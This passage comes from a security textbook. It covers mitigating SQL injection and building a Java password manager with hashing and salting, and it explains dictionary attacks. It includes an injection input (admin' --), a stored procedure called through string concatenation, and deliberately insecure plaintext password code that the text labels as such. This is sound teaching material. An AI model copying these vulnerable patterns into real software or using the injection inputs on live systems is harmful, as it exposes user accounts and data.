is very easy to check: the prepared-statement manager module must be the only module that
calls prepareStatement and invokes methods for creating database connections,7 which can be
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7842CH08.qxd  1/8/07  10:55 AM  Page 135



checked with a simple textual search through the source code. Encapsulating the creation of
prepared statements in this module ensures that prepared statements are created from static
strings only, and prevents the introduction of SQL injection vulnerabilities.

Finally, we note that stored procedures, on their own, typically do not help address SQL
injection attacks. A stored procedure is a sequence of SQL statements that can be packaged to
execute on specified inputs. The ability to create and use stored procedures is provided with
many popular databases.

An example of a stored procedure could be

CREATE PROCEDURE change_password
@username VARCHAR(25),
@new_passwd VARCHAR(25) AS

UPDATE USERS SET passwd=new_passwd WHERE uname=username

The preceding stored procedure could be executed as follows:

$db->exec("change_password '" + $uname + "','" + $new_passwd + "'");

While stored procedures provide the convenience of abstracting away the UPDATE state-
ment in this case, if an attacker specifies admin' -- as a username and a password of her
choice, she will be able to take control of the database administrator’s account.

On the other hand, if bind variables are used together with stored procedures, it is possible
to mitigate the attack:

$ps = $db->prepare("change_password ?, ?");
$ps->execute(array($uname, $new_passwd));

8.2.6. Mitigating the Impact of SQL Injection Attacks
In the previous subsection, we discussed various approaches to preventing SQL injection in a
given SQL statement. The best way to defend an application against SQL injection attacks is
to apply these techniques comprehensively and consistently to all database queries that an
application makes.

However, programmers make mistakes, and it is therefore worth considering additional
measures that may limit the impact of an SQL vulnerability that might exist in your applica-
tion after all, or at least make it more difficult to exploit. In the following sections, we consider
a number of such mitigation strategies.

Schema and Information Leakage
In order for attackers to mount SQL injection attacks, it is very helpful for them to have access
to the database schema, including the table and column names. Attackers can often derive
information about the database schema from error messages output by a database. Errors that
are displayed to the user (and sometimes even a lack of errors) can give attackers valuable
information about the structure of a database, as they typically contain references to table and
column names. Even if the database does not generate error messages that leak schema infor-
mation, attackers can query system database objects to interrogate the database about the
names of tables, as in “blind SQL injection” (Spett 2005; Maor and Shulman 2003). Be sure to
configure your database so that it does not tip off the attacker, and also be sure to restrict
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access to system objects that could be interrogated with malicious intent. In addition, config-
ure error and exception handling in your application code such that detailed error messages
and stack traces are not displayed to external users. It is convenient to display error messages
in the browser during development, but such error messages should be disabled in produc-
tion environments and replaced with a static, generic error page.

Limiting Privileges
To successfully conduct an SQL injection attack, the database user under which the SQL is
being executed must have the privileges to execute the injected SQL. As such, one way to con-
tain an SQL injection attack is to run SQL commands under a database account with limited
privileges. A low-privileged database user account may only be able to execute specific stored
procedures, query certain restricted database views,8 and do select queries; but not run arbi-
trary insert, update, or delete statements. SQL databases typically have GRANT commands that
can be used to specify user privileges. Some databases have additional features that can help
provide even finer-grained access control. For example, Oracle has a virtual private database
feature that automatically adds an administrator-specified WHERE clause whenever SQL queries
by particular users are executed (Theriault and Newman 2001).

Limiting privileges would have prevented an attacker from injecting the DROP TABLE com-
mand in the example earlier in the chapter. However, the ability to only run SELECT statements
may allow the attacker to steal information from the database. You have seen this in the two
attack examples at the beginning of this chapter, in which the attacker was able to read the
entire orders table of the pizza delivery application by altering the condition in the state-
ment’s WHERE clause. The application likely also requires read access to the creditcards table,
which means that the UNION SELECT attack in the examples would also still succeed. In addi-
tion, insert or update statements may be required to implement certain operations, such as
registering a new user or changing account preferences.

Limiting least privileges does not in itself prevent SQL injection, but it plays an important
role as part of a defense-in-depth strategy.

Encrypting Sensitive Data Stored in the Database
As a complementary approach to limiting privileges, you can encrypt the data stored in the
database to reduce the impact of an SQL injection attack against your application.9

For instance, if the example application had stored the data in the creditcards table in
encrypted form, the attacker would still have succeeded in extracting the data via the UNION
SELECT attack against the vulnerable order history form. However, all he would have obtained
are the encrypted credit card numbers—unless he also managed to obtain the key, no credit
card data would actually have been compromised.
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the result set of a predefined query. For instance, the database of the pizza delivery application might
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date, but not the card number.

9. Of course, encryption can also mitigate other risks, such as data being disclosed when a disk drive or
entire server is stolen.
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Designing and implementing an encryption scheme correctly is not a trivial task; Part 3 of
this book is dedicated to the discussion of issues surrounding cryptography and its correct
use. For example, you have to carefully consider key management. In particular, it is clear that
storing the key in a configuration data table in the database would be a bad idea—the attacker
could exploit the same SQL vulnerability to extract both the encrypted data and the key that
was used to encrypt it.

Some databases support a feature in which certain columns of a table can be configured
to be automatically encrypted whenever data is written to the table, and decrypted when it is
read from the table. This has the advantage that programmers can code database access as if
no encryption were taking place—the database transparently provides this function and also
takes care of key management. Unfortunately, this approach does generally not help mitigate
SQL injection vulnerabilities. Since the data is returned from SQL queries in already decrypted
form, this applies to data returned by injected queries as well. For example, if the pizza deliv-
ery site had used transparent database encryption to encrypt the data in the creditcards
table, the UNION SELECT would still have succeeded in extracting plain-text credit card num-
bers, since the database would have automatically decrypted the data retrieved by the
injected SELECT FROM creditcards statement.

Hardening the Database Server and Host O/S
Some databases have dangerous functionality that is enabled by default. For example, a ver-
sion of Microsoft SQL Server provides SQL commands that allows users to open inbound and
outbound network connections. Cesar Cerrudo’s “Manipulating Microsoft SQL Server Using
SQL Injection” shows how such functionality can be used by an attacker to copy data to an
attacker’s database server, upload arbitrary binaries to the victim system for execution, port
scan the victim’s internal network, and much, much more.

To prevent an attacker from having a field day with any extra functionality provided by
your database, you should clearly review your database configuration and disable all such
functionality by default. In addition, hardening guidelines for the operating system that the
database is running on should be followed; for instance, unused services and accounts should
be disabled (there is usually no need for a web server to be running on the database host).

Applying Input Validation
The prevention strategies for SQL injection introduced in this chapter focus on validating or
escaping data before it is used in an SQL query. In addition to this SQL-specific validation or
escaping, you should not ignore validation of data at the time it actually enters your system.

Following the best practice of constraining all input variables (e.g., query parameters in
an HTTP request) as early as possible in your code may well save you from being vulnerable in
case a programmer forgot to escape a particular variable that is used in an SQL query. Also,
rejecting unreasonably long inputs may prevent an attacker from exploiting a buffer overflow
in the SQL parser that you weren’t aware of and have not applied patches for.

Applying validation both at the entry points to your code and before a query means that
you may have to do the work twice. However, this small inefficiency is usually well worth the
additional safety margin.
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Password Security

Many web sites, operating systems, and other types of software have been built to use pass-
words to authenticate users. Although the security community has been working over the
years to move toward systems that use more sophisticated authentication mechanisms, it is
likely that password systems will be in use for some time. Hence, it is important to understand
the strengths and weaknesses of passwords systems, and how to make them less vulnerable to
attacks.

In this chapter, we illustrate how to build a mini–password manager using a code example
in Java. We then incorporate the mini–password manager into the simple web server intro-
duced in Chapter 2 to allow it to authenticate users that would like to download documents.

9.1. A Strawman Proposal
The most basic approach at building a password system might be to use a file that stores user-
names and passwords. Such a (colon-delimited) file might look as follows:

john:automobile
mary:balloon
joe:wepntkas

When a user tries to log in, you could simply locate the corresponding username in the
file, and do a string comparison to determine whether the password that the user enters
matches the one in the password file. (If the username does not appear in the password file,
the login would, of course, be denied.) Java code for this simple approach is shown here. This
basic approach obviously has many limitations—do not attempt to use this code in a real system!
We present this code here mainly to introduce the basic structure of the MiniPasswordManager
class, and we refine it as the chapter progresses. The MiniPasswordManager class in the follow-
ing code uses a helper class called MiniPasswordFile, which we list in Appendix B so that we
can focus on the essentials of MiniPasswordManager.

public class MiniPasswordManager {

/** dUserMap is a Hashtable keyed by username */
private static Hashtable dUserMap;

/** location of the password file on disk */
private static String dPwdFile;
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public static void add(String username, String password) throws Exception {
dUserMap.put(username, password);

}

public static boolean checkPassword(String username, String password) {
try {

String t = (String)dUserMap.get(username);
return (t == null) ? false : t.equals(password);

} catch (Exception e) {
}
return false;

}

/* Password file management operations follow */

public static void init (String pwdFile) throws Exception {
dUserMap = MiniPasswordFile.load(pwdFile);
dPwdFile = pwdFile;

}

public static void flush() throws Exception {
MiniPasswordFile.store (dPwdFile, dUserMap);

}

public static void main(String argv[]) {
String pwdFile = null;
String userName = null;
try {

pwdFile = argv[0];
userName = argv[1];
init(pwdFile);
System.out.print("Enter new password for " + userName + ": ");
BufferedReader br = 

new BufferedReader(new InputStreamReader(System.in));
String password = br.readLine();
add(userName, password);
flush();

} catch (Exception e) {
if ((pwdFile != null) &&

(userName != null)) {
System.err.println("Error: Could not read or write " + pwdFile);

} else {
System.err.println("Usage: java MiniPasswordManager" +

" <pwdfile> <username>");
}

}
}

}
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The two key operations provided in the MiniPasswordManager class are add() and
checkPassword(). Both of these methods take a username and password as arguments. The
add() method simply adds an entry to the dUserMap hashtable, which is keyed by username
and stores the password as the value. The checkPassword() method looks up the username
in the dUserMap hashtable and compares the password provided to the one stored in the
hashtable. If they match, checkPassword() returns true; otherwise checkPassword() returns
false—quite simple and straightforward.

The init() and flush() methods read and write the dUserMap hashtable from and to disk,
respectively, using the MiniPasswordFile class (listed in Appendix B, as mentioned earlier).
The main() method can be used to add entries to the password file.1

Other classes that use the MiniPasswordFile class can initialize MiniPasswordManager by
calling its init() method with a password file, and can then call checkPassword() to authenti-
cate users. Once we complete building a more secure MiniPasswordManager class, we will adapt
SimpleWebServer from Chapter 2 to use MiniPasswordManager to authenticate users who
attempt to download documents from the web server.

As we mentioned, the basic approach illustrated by the preceding code has many security
limitations. For example, if an adversary ever got hold of the password file, all of the users’
passwords would be compromised. The more people who use the system, the more valuable
the password file becomes, and the greater the incentive for an attacker to try to get hold of it.

9.2. Hashing
In an attempt to remedy the situation, you could decide not to store passwords “in the clear.”
Instead, you could store an encrypted version of the passwords, and decrypt the passwords in
the file whenever you need to check them. To do so, you could use a symmetric encryption
algorithm, such as AES (Advanced Encryption Standard). (We will discuss symmetric encryp-
tion algorithms in Chapter 12.) You would need to keep track of a key used to encrypt the
passwords, and then you would need to determine where to store the key. Storing the key in
the password file itself would be a bad idea, since then an attacker that gets hold of the pass-
word file could also decrypt all of the passwords in the file. If the key is stored anywhere on the
same system as the password file, in fact, that system still becomes an extremely valuable
attack target.

Instead of two-way, symmetric encryption, it’s better to have a mechanism that allows
you to store an “encrypted” version of the password in the file, and lets you verify the pass-
word that the user enters upon login. You really don’t need to decrypt the password so long as
you can verify that the user typed in the correct one. When the user enters a password in an
attempt to log in, you can encrypt the user-entered password and compare it to the one in the
file. What you need is sort of a “one-way encryption,” in which you can only encrypt the user’s
password, but are never able to decrypt the version of the password stored in the password
file. If you store only one-way encrypted passwords in the password file, even if an attacker
were to get hold of the password file, he would not be able to decrypt any of the users’
passwords.
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To help you securely implement a password file, a more suitable cryptographic primitive
than two-way, symmetric encryption is a one-way hash function. A hash function, h, takes a
string p as input, and produces h(p). Due to the nature of how a hash function works, it is
computationally infeasible to determine p from h(p). Some commonly used hash functions
are SHA-1 and MD5. While SHA-1 and MD5 are commonly used, there have been recent
attacks against them, and it is advisable to use hash functions such as SHA-256 and SHA-512
instead. We discuss hash functions in more depth in Section 15.1.

An example of a password file that stores one-way hashed passwords is the following:

john:9Mfsk4EQh+XD2lBcCAvputrIuVbWKqbxPgKla7u67oo=
mary:AEd62KRDHUXW6tp+XazwhTLSUlADWXrinUPbxQEfnsI=
joe:J3mhF7Mv4pnfjcnoHZ1ZrUELjSBJFOo1r6D6fx8tfwU=

For each user listed in the preceding password file, a SHA-256 hash of the password is
stored.2 For example, instead of directly storing John’s password, “automobile,” in the pass-
word file, the file stores 9Mfsk4EQ... in place of it.

When John’s password needs to be checked, the hash of the password that is entered is
computed and compared against the hash in the password file, as shown in Figure 9-1. The
advantage of storing hashed passwords in the password file is that even if an attacker were to
steal the password file, she would not be able to determine that John’s password is “automobile”
just by looking at the file.

Figure 9-1. Hashed password check

The following code shows how to implement a mini–password manager that hashes pass-
words. For brevity, it only shows those methods that need to be modified.

public static void add(String username, String password) throws Exception {
dUserMap.put(username,computeSHA(password));

}

public static boolean checkPassword(String username, String password) {
try {

String t = (String)dUserMap.get(username);
return (t == null) ? false : t.equals(computeSHA(password));
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} catch (Exception e) {
}
return false;

}

private static String computeSHA(String preimage) throws Exception {
MessageDigest md = null;
md = MessageDigest.getInstance("SHA-256");
md.update(preimage.getBytes("UTF-8"));
byte raw[] = md.digest();
return (new sun.misc.BASE64Encoder().encode(raw));

}

Note that in the preceding code, the computeSHA() method is called with the password
as an argument in both the add() and checkPassword() methods. The computeSHA() method
uses a MessageDigest object provided as part of the java.security package. Once an instance
of a MessageDigest object that can compute SHA-256 hashes is obtained, the MessageDigest
object’s update() method is called with the bytes that make up the input string (the password).
Then the hash is computed by calling the digest() method. The hashed bytes are then base64
encoded to substitute nonprintable characters for printable ones, and the hash of the input
string is returned.

9.3. Offline Dictionary Attacks
Even with the preceding slightly more sophisticated mini–password manager that uses hash-
ing, given the password file, the attacker can still attempt to determine some users’ passwords
due to the fact that most users do not choose good passwords. Often, users will choose pass-
words that happen to be words in the dictionary (such as “automobile” or “balloon”), street
names, company names, or other well-known strings. A good attacker can easily build a dic-
tionary of words, common street names, common names of companies, and so forth; and use
such a dictionary to mount an attack, as shown in Figure 9-2. 

If the attacker knows that you are using the SHA-256 hash function to store one-way
encrypted versions of passwords, the attacker can iterate through all the words in a dictionary
and compute the SHA-256 hashes of them. For instance, the attacker’s dictionary might be as
follows:

automobile
aardvark
balloon
doughnut
...

The attacker can compute the following dictionary of hashes:

automobile:9Mfsk4EQh+XD2lBcCAvputrIuVbWKqbxPgKla7u67oo=
aardvark:z5wcuJWEv4xBdqN8LJVKjcVgd9O6Ze5EAR5iq3xjzi0=
balloon:AEd62KRDHUXW6tp+XazwhTLSUlADWXrinUPbxQEfnsI=
doughnut:tvj/d6R4b9t7pzSzlYDJZV4w2tmxBZn7YSmUCoNVx/E=
...
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Figure 9-2. Offline dictionary attack

Now, the attacker will simply look for matches between the hashes in the password file
and the hashes that she has computed! For example, since AEd62KRD... appears in the pass-
word file as Mary’s hashed password, the attacker knows that “balloon” must be Mary’s
password!

Such an attack is called an offline dictionary attack, and is usually geared at determining
some user’s password. The attacker may not care which user’s password is determined so long
as she can determine some user’s password.

The attack is called “offline” because the attacker is not required to actually try username
and password combinations online against a real system to conduct her attack, as she has
possession of the password file. It would be ideal if the only way for the attacker to guess pass-
words were for her to try them against the online running system. By ensuring this, you can
detect the attacker’s attempts to guess the passwords for particular usernames. However, if an
attacker gains possession of the password file, she will be able to conduct a dictionary attack
without your knowledge.

A natural question to ask is whether there might be some way to defend against an offline
dictionary attack even when the attacker gets hold of the password file containing the hashed
passwords. While it might be difficult to make the offline dictionary attack impossible, you can
raise the level of effort required on the part of the attacker with a technique called salting.

9.4. Salting
Salting is the practice of including additional information in the hash of the password. To
illustrate how salting works and why it makes the attacker’s job harder, we first modify the
structure of the password file. Instead of just having the password file store a username and a
hashed password, we include a third field for a random number in the password file. When a
user—for example, John—creates his account, instead of just storing John’s username and
hashed password, we choose a random number called the salt (see Figure 9-3). Instead of just
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storing the hash of John’s hashed password, “automobile” in this case, we create a string that is
the concatenation of John’s password and the salt, and store the hash of that string in a file.
The entry in the password file may look as follows:

john:ScF5GDhWeHr2q5m7mSDuGPVasV2NHz4kuu5n5eyuMbo=:1515

In the preceding entry, ScF5GDhW... is the hash of John’s password, “automobile,” concate-
nated with the salt, 1515. That is, h(automobile|1515) = ScF5GDhW.

Code that implements salting in MiniPasswordManager is shown here:

/** Chooses a salt for the user, computes the salted hash
of the user's password, and adds a new entry into the
userMap hashtable for the user. */

public static void add(String username, String password) throws Exception {
int salt = chooseNewSalt();
HashedPasswordTuple ur = new HashedPasswordTuple(getSaltedHash(password,salt),

salt);
dUserMap.put(username,ur);

}

public static int chooseNewSalt() throws NoSuchAlgorithmException {
return getSecureRandom((int)Math.pow(2,12));

}

/** Returns a cryptographically random number in the range [0,max) */
private static int getSecureRandom(int max) throws NoSuchAlgorithmException {

SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
return Math.abs(sr.nextInt()) % max;

}

public static String getSaltedHash(String pwd, int salt) throws Exception {
return computeSHA(pwd + "|" + salt);

}

/** Returns the SHA-1 hash of the provided preimage as a String */
private static String computeSHA(String preimage) throws Exception {

MessageDigest md = null;
md = MessageDigest.getInstance("SHA-256");
md.update(preimage.getBytes("UTF-8"));
byte raw[] = md.digest();
return (new sun.misc.BASE64Encoder().encode(raw));

}

public static boolean checkPassword(String username, String password) {
try {

HashedPasswordTuple t = (HashedPasswordTuple)dUserMap.get(username);
return (t == null) ?

false :
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t.getHashedPassword().equals(getSaltedHash(password,
t.getSalt()));

} catch (Exception e) {
}
return false;

}

Since both a hashed password and a salt must be stored for each username, dUserMap now
stores HashedPasswordTuple instead of just a string. HashedPasswordTuple is a small utility class
that encapsulates a hashed password and a salt. The code for HashedPasswordTuple is shown in
Appendix B.

When the add() method is called to create a new user account, a new salt is chosen by the
chooseNewSalt() method. The chooseNewSalt() method calls the getSecureRandom() method
to generate a random number in the range [0, 4096) for the salt. The getSecureRandom()
method uses the SecureRandom Java class to generate a number that will be cryptographically
random, not just statistically random. (We discuss the generation of random numbers in more
detail in Section 14.2.) Once a new salt is chosen, a new HashedPasswordTuple is constructed.
The tuple consists of two components—the hash and the salt. The hash is computed by the
getSaltedHash() method. The getSaltedHash() method concatenates the password with the
salt and calls computeSHA() to compute the hash of the salted password. The hash and the salt
stored in the HashedPasswordTuple are then inserted into the dUserMap hashtable for later use.

When the checkPassword() method is called to authenticate a user, it retrieves the
HashedPasswordTuple from the hashtable. If the username supplied to checkPassword() is not
a valid key in the hashtable, checkPassword() returns false. If the username is present as a
key in the hashtable, checkPassword() retrieves the salt from HashedPasswordTuple, and com-
putes the salted hash using the password supplied to checkPassword(). If the salted hash
matches the one stored in HashedPasswordTuple (which was loaded from the password file),
then checkPassword() returns true, as it means that the user supplied the correct password. 

Figure 9-3. Salted, hashed password check
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Before we used salting, all that an attacker needed to do was go through a dictionary and
hash all of the words to look for matches in the password file. However, what the attacker has
to do now is a bit more complicated. The passwords are now hashed together with a salt. The
attacker now needs to try combinations of dictionary words concatenated with salts to look
for matches in the password file. Whereas the attacker just had to compute the hash of “auto-
mobile” before, and look for matches for the hash of “automobile” somewhere in the password
file, the attacker now needs to hash the word “automobile” together with salts to look for
matches in the password file.

SALTING: THE GOOD NEWS AND THE BAD NEWS

The good news about salting is that if the attacker is interested in compromising some arbitrary user’s
account in the password file, she now needs to build a dictionary of hashes for every possible value of salt.
If the dictionary is of size n, and the salts are k bits in length, then the attacker now has to hash 2kn strings
instead of only n (in the case that salts are not used). So, it makes the attacker’s job 2k times harder, with
only a constant number of additional operations required on behalf of the server to verify passwords. Pass-
word salting raises the bar of effort an attacker must expend, while keeping the amount of work the
password system has to do approximately the same.

The bad news is that if the attacker is interested in compromising a particular victim’s account, she just
needs to hash every possible dictionary word with the salt used for that victim’s account. Password salting
has its limitations in that it does not absolutely prevent offline dictionary attacks, and is most effective
against an attacker that does not have a particular victim account in mind. Password salting only makes the
attacker’s job harder, as an attacker that can easily compute 2kn hashes will still be able to conduct an offline
dictionary attack to crack into some user account. Also, while salting helps with a brute-force, offline diction-
ary attack against some user account, it does not do as well against a chosen-victim attack in which the
attacker wants to determine the password for a particular user’s account—in that case, the attacker only
has to compute hashes for each word in the dictionary using the victim’s salt.

To see our somewhat more secure implementation of MiniPasswordManager in action,
we now adapt SimpleWebServer (described in Chapter 2) to use MiniPasswordManager to
authenticate its users. We rename SimpleWebServer to BasicAuthWebServer, and show how to
use MiniPasswordManager to implement HTTP authorization (Berners-Lee, Fielding, and
Nielsen 1996). Namely, a client will be authorized to access documents from the web server if
it can authenticate itself.

We first use MiniPasswordManager to create a password file for the web server that has an
entry for a fictitious user named hector:

$ java com.learnsecurity.MiniPasswordManager pwdfile hector
Warning: Could not load password file.
Enter new password for hector: lotsadiserts
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Note that MiniPasswordManager issues a warning because it could not load the pwdfile,
as it does not exist yet. However, after choosing a password for hector, the pwdfile is created,
and its contents can be listed:

$ cat pwdfile
hector:laX1pk2KoZy1ze64gUD6rc/pqMuAVmWcKbgdQLL0d7w=:1466

We can also create another authorized user by running the MiniPasswordManager a
second time:

$ java com.learnsecurity.MiniPasswordManager pwdfile dan
Enter new password for dan: cryptguru

The MiniPasswordManager does not complain about not being able to load the password
file since it exists this time. We can once again list the file to see the entries created for both of
our fictitious users:

$ cat pwdfile
dan:O70FKijze89PDJtQHM8muKC+aXbUJIM/j8T4viT62rM=:3831
hector:laX1pk2KoZy1ze64gUD6rc/pqMuAVmWcKbgdQLL0d7w=:1466

We now briefly review how HTTP authorization works prior to presenting the BasicAuth-
WebServer code that incorporates our MiniPasswordManager. When a client connects to our
web server and makes an HTTP request such as

GET /index.html HTTP/1.0

our web server will respond that the client needs to prove that it is authorized to access
index.html:

HTTP/1.0 401 Unauthorized
WWW-Authenticate: Basic realm="BasicAuthWebServer"

The client then resends its request with an authorization HTTP header that contains a
base64-encoded username and password:

GET /index.html HTTP/1.0
Authorization: Basic aGVjdG9yOmxvdHNhZGlzZXJ0cw==

The string aGVjdG9yOmxvdHNhZGlzZXJ0cw== is the base64-encoded hector:lotsadiserts
username/password combination. Note that in basic HTTP authorization, the username and
password is only encoded—it is not encrypted. An eavesdropping attacker, such as Eve, will be
able to sniff the password off the wire. To remedy this, HTTP digest authorization and/or SSL
can be used. However, our main aim here is to show MiniPasswordManager in action on the
server side. So, without further ado, the server-side code that authenticates the client using
HTTP basic authorization is shown here:

//...some code excluded...

public class BasicAuthWebServer {

//... some code excluded...
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public void processRequest(Socket s) throws Exception {

//... some code excluded...

if (command.equals("GET")) {
Credentials c = getAuthorization(br);
if ((c != null)  &&

(MiniPasswordManager.checkPassword(c.getUsername(),
c.getPassword()))) {

serveFile(osw, pathname);
} else {

osw.write ("HTTP/1.0 401 Unauthorized");
osw.write ("WWW-Authenticate: Basic realm=BasicAuthWebServer");

}
} else {

//... some code excluded ...
}

}

//... some code excluded...

private Credentials getAuthorization (BufferedReader br) {
try {

String header = null;
while (!(header = br.readLine()).equals("")) {

if (header.startsWith("Authorization:")) {
StringTokenizer st = new StringTokenizer(header, " ");
st.nextToken(); // skip "Authorization"
st.nextToken(); // skip "Basic"
return new Credentials(st.nextToken());

}
}

} catch (Exception e) {
}
return null;

}

//... some code excluded...

public static void main (String argv[]) throws Exception {
if (argv.length == 1) {

/* Initialize MiniPasswordManager */
MiniPasswordManager.init(argv[0]);
/* Create a BasicAuthWebServer object, and run it */
BasicAuthWebServer baws = new BasicAuthWebServer();
baws.run();

} else {
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System.err.println ("Usage: java BasicAuthWebServer <pwdfile>");
}

}
}

The GET processing in processRequest() from SimpleWebServer has been modified to call
getAuthorization() to access and decode the username and password from the HTTP request.
The username and password, if present in the HTTP header, is stored in a Credentials object.
(The code for the Credentials object is fairly uninteresting and is listed in Appendix B.) If the
Credentials object is not null, MiniPasswordManager’s checkPassword() method is called, and
serveFile() is only called if checkPassword() returns true. If checkPassword() returns false,
an authorization error is returned to the client.

Finally, the main() method has been modified so that BasicAuthWebServer accepts the
name of a password file on the command line. The name of the password file is passed to
MiniPasswordManager’s init() method so that the password file can be read in.

Now, BasicAuthWebServer can be invoked on the command line:

$ java com.learnsecurity.BasicAuthWebServer pwdfile

When you access an URL such as http://localhost:8080 using your web browser, you
will be required to enter a username and password in order to access documents. The full
code for this example is available at www.learnsecurity.com/ntk. Give it a try! Once you are
comfortable with how it works, you may want to extend the code to support HTTP digest
authorization as an exercise (Franks et al. 1999).

9.5. Online Dictionary Attacks
In online dictionary attacks, the attacker actively tries username and password combinations
using a live, running system, instead of, say, computing hashes and comparing them against
those in some acquired password file. If an attacker cannot acquire a copy of the password file,
and is limited to conducting online dictionary attacks, it at least allows you to monitor the
attacker’s password guessing. As we mentioned in Section 3.2.3, if a large number of failed
logins are coming from one or more IP addresses, you can mark those IP addresses as suspi-
cious. Subsequent login attempts from suspicious IPs can be denied, and additional steps can
be taken to mitigate the online dictionary attack.

In the password security schemes that we have considered thus far, if the user is logging
in from a client, the user’s password is sent over the network to the server. The server sees the
password in the clear. (Even if the password is transmitted over SSL and encrypted in transit to
the server, the password is decrypted and made available to the server for verification.) If the
server can be impersonated, as in a phishing attack (see Section 2.1.3), the impersonator will
receive the user’s password. The impersonator can then log into the real server claiming to be
the legitimate user. Hence, it may be worthwhile to use approaches in which the server can
verify the client’s possession of the password without requiring the client to explicitly transmit
the password to the server. Password-authenticated key exchange (PAKE) and zero-knowledge
proofs are examples of cryptographic protocols that can allow a client to prove its knowledge
of a password without disclosing the password itself (Jakobsson, Lipmaa, and Mao 2007).
However, such protocols have not proved to be efficient or commercially viable yet, and are
beyond the scope of this chapter.
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9.6. Additional Password Security Techniques
In addition to the basic hashing and salting techniques for password management, we also
cover a number of other approaches that can help you manage passwords more securely. Not
all of them may be appropriate for your application, and you may want to sample using the
ones that make the most sense to help protect your specific user base. Some of the enhance-
ments that follow can be used to increase the difficulty of constructing an attack.

9.6.1. Strong Passwords
It is important to encourage users to choose strong passwords that cannot be found in a dic-
tionary and that are not simple concatenations of dictionary words. Requiring users to choose
strong passwords is an important part of thwarting dictionary attacks.

Some suggestions for creating strong passwords include making them as long as possible;
including letters, numbers, and special characters; and using passwords that are different
from those that you have used on other systems. You can also create strong passwords from
long phrases. For example, consider the phrase “Nothing is really work unless you would
rather be doing something else” (a quote by J.M. Barrie). If it is easy for you to remember such
a quote, you can transform it into a password such as n!rWuUwrbds3. The first letter of each
word in the phrase has been used, and some of the characters have been transformed to
punctuation marks, uppercase and phonetically similar characters, and numbers.

However, since some users may not choose strong passwords, it is important to protect
the password file from falling into the attacker’s hands, even if salting is used. In older versions
of UNIX, the password file used to be readable by all and stored in /etc/passwd. The /etc/
passwd file is still present in newer versions of UNIX, but does not store password hashes or
salts. Instead, password hashes and salts are stored in a /etc/shadow file that is only accessible
to the system administrator and other privileged users.

9.6.2. “Honeypot” Passwords
To help catch attackers trying to hack into a password security system, you can use simple
passwords and usernames as “honey” to attract the attackers. For instance, many systems
might have a default username called “guest” that has the password “guest.” You do not expect
normal users to use this guest account. You can set up your system such that if the attacker
tries to log in using a default password for the guest user, you can set that as a trigger so that
your system administration staff can be notified. When somebody tries logging into it, you
know that it may be an indication that an attacker is trying to break into your system.

Once the system administration staff is notified that somebody might be trying to break
into the system, you can then take action to identify which IP address the attacker is coming
from. You can also allow the attacker to continue using the guest account to help you learn
more about what the attacker is trying to get at.

9.6.3. Password Filtering
Since most users might not like to have passwords chosen or even suggested for them, you
could let the users choose passwords for themselves. However, if a user chooses a password
that is in the dictionary or identified by your password security system as easy to guess, you
could then filter that password and require the user to choose another one.
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9.6.4. Aging Passwords
Even if the user chooses a good password, you might not want the user to use that password
for the entire time that they are going to use your system. Every time that the user enters the
password, there is a potential opportunity that an attacker can be looking over the user’s
shoulder. Therefore, you could encourage users to change their passwords at certain time
intervals—every month, every three months, or every year, for example. Another way to “age”
passwords is to only allow each password that the user chooses to work a certain number of
times.

Note that if you require users to change their passwords too often, they might start writ-
ing them down or doing other potentially insecure things to try to remember what their
current password is. At the same time, if you do not require them to change their passwords
often enough, the attacker has more opportunities within a given time period to attempt to
acquire their passwords.

9.6.5. Pronounceable Passwords
Password security system designers noticed that users sometimes want to choose dictionary
words because they are easy to remember. Hence, they decided to create pronounceable
passwords that may be easy to remember because users can sound them out, but would not
be words in the dictionary. Pronounceable passwords are made up of syllables and vowels
connected together that are meant to be easy to remember. Some examples of pronounceable
passwords—generated by a package called Gpw (www.multicians.org/thvv/gpw.html)—are
ahrosios, chireckl, and harciefy.

9.6.6. Limited Login Attempts
You could give your users a limited number of login attempts before you disable or lock their
account. The advantage of limited login attempts is that if an attacker is trying to break into a
particular user’s account, he will only be given a fixed number of tries (say, three or four). The
downside of using this approach is that if a legitimate user happens to incorrectly enter her
password just a few times, then her account will be locked. A legitimate user may then need
to call a system administrator or customer service number to have her password reset.

Another disadvantage of account locking is that it gives an attacker the ability to launch a
DoS attack against one or more accounts. For instance, if the attacker gets a lot of usernames
in the system and tries a couple of random guesses for each username’s password, the attacker
can end up locking a large fraction of the user accounts in a system.

9.6.7. Artificial Delays
You could introduce increasing artificial delays when users attempt to log into a system over
the network. The first time that a user attempts to log in, you present the user with the user-
name and password prompt immediately. If the user enters an incorrect password, you can
have the system wait 2 seconds before allowing the user to try again. If the user still gets the
username or password wrong, you can have it wait 4 seconds before allowing that user to try
again. Generalizing, you can exponentially increase the amount of time before letting a partic-
ular client with a particular IP address try to log into your network.
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For regular users, this might introduce an inconvenience. If a regular user happens to get
his password wrong three times, he may have to wait on the order of 8 seconds before being
allowed to try again.

An online password-guessing attack against a system that introduces artificial delays may
require many IPs to try many different combinations of a user’s password before the attacker
gets one right. By introducing artificial delays into the system, you decrease the number of dif-
ferent guesses that the attacker can try in a given unit of time.

9.6.8. Last Login
Another enhancement that you can employ to increase the security of your password system
is that every time a user logs in, you can display the last date, time, and potentially even loca-
tion from which the user logged in. You could educate users to pay attention to when and
where their last login attempts were from. If a user ever notices an inconsistency between
when and where she last logged in and when and where the system reported that she last
logged in, she can notify the system administration staff or customer service.

For example, if a user usually logs in once a month from her home in California, but upon
login, the system informs her that the last time she logged in was at 3 a.m., two weeks ago in
Russia, she will realize that something is wrong. She can then notify the appropriate person-
nel, and the security issue can be reactively dealt with. If the last login mechanism did not
exist, then the occurrence of the attack may not have been noticed.

9.6.9. Image Authentication
One recent attempt at making password systems less susceptible to phishing attacks has been
to use images as a second factor in conducting authentication. Upon account creation, a user
is asked to choose an image in addition to a username and password. When the user is pre-
sented with a login page, the user is asked for his username first. Upon entering a username,
the user is shown the image that he chose when signing up, in addition to being prompted for
his password.

The intent of using image authentication is to prevent the user from providing his pass-
word to an impostor web site. While an impostor web site may be able to spoof a legitimate
web site’s home page, the impostor will not know what image a user has selected. Hence,
after a user enters his username into a web site that uses image authentication, he should not
enter his password if the web site does not display the same image that he selected when he
signed up.

At the time of writing of this book, image authentication schemes have only recently
been deployed by companies such as PassMark (acquired by RSA Security, which was acquired
by EMC) on web sites such as www.bankofamerica.com. So far, their true effectiveness still
remains to be seen. Many financial institutions implement image authentication to satisfy the
FFIEC (Federal Financial Institutions Examination Council) guidance that requires two-factor
authentication. However, many users are often not provided enough up-front education
about why they are asked to select images, and do not know the purpose of the image when
